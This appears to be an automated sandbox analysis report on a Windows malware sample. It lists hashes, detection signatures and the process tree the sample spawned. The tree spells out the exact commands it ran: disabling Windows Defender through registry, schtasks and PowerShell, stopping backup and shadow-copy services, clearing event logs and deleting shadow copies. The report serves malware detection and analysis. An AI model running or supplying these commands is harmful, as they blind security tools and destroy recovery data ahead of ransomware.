Analysis

  • max time kernel
    97s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-12-2022 15:33

General

  • Target

    windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe

  • Size

    884KB

  • MD5

    da13022097518d123a91a3958be326da

  • SHA1

    24a71ab462594d5a159bbf176588af951aba1381

  • SHA256

    25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5

  • SHA512

    a82aa97a92cd21ee2d4b556448fd3293396eb7c01d3626ebdb6c3816277783578686830c430014b6b2fc3280bc1301df27da079937f88834c2d35641eb5fc26f

  • SSDEEP

    12288:Sw41dVZvThPCsM18GLHe7wlDdkPAQEtxr0fflvRmhEBWtdUJiAUtP/T/kAfMvgVt:dod1HDmlDdkZ4YXPpaTTXMw

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 3 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
    "C:\Users\Admin\AppData\Local\Temp\windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4992
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3820
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
          PID:4488
      • C:\Windows\SysWOW64\net.exe
        net.exe stop "SDRSVC" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3916
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "SDRSVC" /y
          3⤵
            PID:2968
        • C:\Windows\SysWOW64\net.exe
          net.exe stop "SstpSvc" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1244
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop "SstpSvc" /y
            3⤵
              PID:4204
          • C:\Windows\SysWOW64\net.exe
            net.exe stop "vmicvss" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4216
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop "vmicvss" /y
              3⤵
                PID:4828
            • C:\Windows\SysWOW64\net.exe
              net.exe stop "VSS" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4832
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "VSS" /y
                3⤵
                  PID:4408
              • C:\Windows\SysWOW64\net.exe
                net.exe stop "wbengine" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:116
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop "wbengine" /y
                  3⤵
                    PID:3900
                • C:\Windows\SysWOW64\net.exe
                  net.exe stop "WebClient" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4132
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 stop "WebClient" /y
                    3⤵
                      PID:3884
                  • C:\Windows\SysWOW64\net.exe
                    net.exe stop "UnistoreSvc_1bfc5" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3660
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 stop "UnistoreSvc_1bfc5" /y
                      3⤵
                        PID:3344
                    • C:\Windows\SysWOW64\sc.exe
                      sc.exe config "SamSs" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4056
                    • C:\Windows\SysWOW64\sc.exe
                      sc.exe config "SDRSVC" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2568
                    • C:\Windows\SysWOW64\sc.exe
                      sc.exe config "SstpSvc" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1836
                    • C:\Windows\SysWOW64\sc.exe
                      sc.exe config "vmicvss" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4660
                    • C:\Windows\SysWOW64\sc.exe
                      sc.exe config "VSS" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4880
                    • C:\Windows\SysWOW64\sc.exe
                      sc.exe config "wbengine" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2872
                    • C:\Windows\SysWOW64\sc.exe
                      sc.exe config "WebClient" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2020
                    • C:\Windows\SysWOW64\sc.exe
                      sc.exe config "UnistoreSvc_1bfc5" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4296
                    • C:\Windows\SysWOW64\reg.exe
                      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                      2⤵
                        PID:1424
                      • C:\Windows\SysWOW64\reg.exe
                        reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                        2⤵
                          PID:2120
                        • C:\Windows\SysWOW64\reg.exe
                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                          2⤵
                            PID:480
                          • C:\Windows\SysWOW64\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                            2⤵
                              PID:1360
                            • C:\Windows\SysWOW64\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                              2⤵
                                PID:4668
                              • C:\Windows\SysWOW64\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:1656
                              • C:\Windows\SysWOW64\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:2060
                              • C:\Windows\SysWOW64\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:3800
                              • C:\Windows\SysWOW64\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:2528
                              • C:\Windows\SysWOW64\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:2076
                              • C:\Windows\SysWOW64\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                2⤵
                                  PID:4492
                                • C:\Windows\SysWOW64\reg.exe
                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                  2⤵
                                    PID:4100
                                  • C:\Windows\SysWOW64\reg.exe
                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                    2⤵
                                      PID:3444
                                    • C:\Windows\SysWOW64\reg.exe
                                      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                      2⤵
                                        PID:5032
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                        2⤵
                                          PID:3236
                                        • C:\Windows\SysWOW64\reg.exe
                                          reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                          2⤵
                                            PID:4496
                                          • C:\Windows\SysWOW64\schtasks.exe
                                            schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                            2⤵
                                              PID:2044
                                            • C:\Windows\SysWOW64\schtasks.exe
                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                              2⤵
                                                PID:4264
                                              • C:\Windows\SysWOW64\schtasks.exe
                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                2⤵
                                                  PID:2468
                                                • C:\Windows\SysWOW64\schtasks.exe
                                                  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                  2⤵
                                                    PID:1732
                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                    schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                    2⤵
                                                      PID:1176
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                      2⤵
                                                        PID:3268
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                        2⤵
                                                          PID:428
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                          2⤵
                                                            PID:760
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                            2⤵
                                                              PID:1216
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                              2⤵
                                                                PID:376
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                2⤵
                                                                  PID:3980
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                  2⤵
                                                                    PID:2124
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                    2⤵
                                                                      PID:1728
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                      2⤵
                                                                        PID:3576
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                        2⤵
                                                                          PID:1828
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                          2⤵
                                                                          • Modifies security service
                                                                          PID:3964
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                          2⤵
                                                                            PID:1212
                                                                          • C:\Windows\SysWOW64\wevtutil.exe
                                                                            wevtutil.exe cl system
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:2700
                                                                          • C:\Windows\SysWOW64\wevtutil.exe
                                                                            wevtutil.exe cl security
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1552
                                                                          • C:\Windows\SysWOW64\wevtutil.exe
                                                                            wevtutil.exe cl application
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:4960
                                                                          • C:\Windows\SysWOW64\Wbem\wmic.exe
                                                                            wmic.exe SHADOWCOPY /nointeractive
                                                                            2⤵
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:2036
                                                                          • C:\Windows\SysWOW64\Wbem\wmic.exe
                                                                            wmic.exe shadowcopy delete
                                                                            2⤵
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:3088
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                            2⤵
                                                                              PID:4136
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                              2⤵
                                                                                PID:4844
                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                  3⤵
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  PID:744
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                2⤵
                                                                                  PID:968
                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                    powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                    3⤵
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    PID:4544

                                                                              Network

                                                                              MITRE ATT&CK Enterprise v6

                                                                              Replay Monitor

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                                                                              Downloads

                                                                              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                Filesize

                                                                                2KB

                                                                                MD5

                                                                                968cb9309758126772781b83adb8a28f

                                                                                SHA1

                                                                                8da30e71accf186b2ba11da1797cf67f8f78b47c

                                                                                SHA256

                                                                                92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

                                                                                SHA512

                                                                                4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                Filesize

                                                                                18KB

                                                                                MD5

                                                                                d8a47feecbf0905caf37a5809db95f84

                                                                                SHA1

                                                                                6efdabfb26596dd0e6588aafa907c3ca7c6d3407

                                                                                SHA256

                                                                                38130a1fa1941f1002ec820932e3716b9bfe6ecee0e27405e3f2592663397234

                                                                                SHA512

                                                                                73e82f58228412b2f6031afb6a7b3a20e6d1307468c820c7c95d13f043cbbcce29ab93112ad55b8dc6d5b9aa7366a1f9c2148716b308a8f42e1445145afed82c

                                                                              • memory/744-207-0x0000000007CC0000-0x000000000833A000-memory.dmp

                                                                                Filesize

                                                                                6.5MB

                                                                              • memory/744-200-0x00000000054A0000-0x00000000054C2000-memory.dmp

                                                                                Filesize

                                                                                136KB

                                                                              • memory/744-202-0x0000000005C30000-0x0000000005C96000-memory.dmp

                                                                                Filesize

                                                                                408KB

                                                                              • memory/744-213-0x0000000007990000-0x0000000007998000-memory.dmp

                                                                                Filesize

                                                                                32KB

                                                                              • memory/744-212-0x00000000079B0000-0x00000000079CA000-memory.dmp

                                                                                Filesize

                                                                                104KB

                                                                              • memory/744-211-0x00000000078A0000-0x00000000078AE000-memory.dmp

                                                                                Filesize

                                                                                56KB

                                                                              • memory/744-204-0x0000000006950000-0x0000000006982000-memory.dmp

                                                                                Filesize

                                                                                200KB

                                                                              • memory/744-205-0x0000000075060000-0x00000000750AC000-memory.dmp

                                                                                Filesize

                                                                                304KB

                                                                              • memory/744-206-0x0000000006910000-0x000000000692E000-memory.dmp

                                                                                Filesize

                                                                                120KB

                                                                              • memory/744-199-0x0000000005520000-0x0000000005B48000-memory.dmp

                                                                                Filesize

                                                                                6.2MB

                                                                              • memory/744-203-0x0000000006370000-0x000000000638E000-memory.dmp

                                                                                Filesize

                                                                                120KB

                                                                              • memory/744-198-0x0000000002A40000-0x0000000002A76000-memory.dmp

                                                                                Filesize

                                                                                216KB

                                                                              • memory/744-201-0x0000000005BC0000-0x0000000005C26000-memory.dmp

                                                                                Filesize

                                                                                408KB

                                                                              • memory/744-208-0x0000000007670000-0x000000000768A000-memory.dmp

                                                                                Filesize

                                                                                104KB

                                                                              • memory/744-209-0x00000000076E0000-0x00000000076EA000-memory.dmp

                                                                                Filesize

                                                                                40KB

                                                                              • memory/744-210-0x00000000078F0000-0x0000000007986000-memory.dmp

                                                                                Filesize

                                                                                600KB

                                                                              • memory/4544-216-0x0000000075060000-0x00000000750AC000-memory.dmp

                                                                                Filesize

                                                                                304KB

                                                                              • memory/4992-132-0x0000000000F60000-0x0000000001272000-memory.dmp

                                                                                Filesize

                                                                                3.1MB

                                                                              • memory/4992-133-0x0000000000F60000-0x0000000001272000-memory.dmp

                                                                                Filesize

                                                                                3.1MB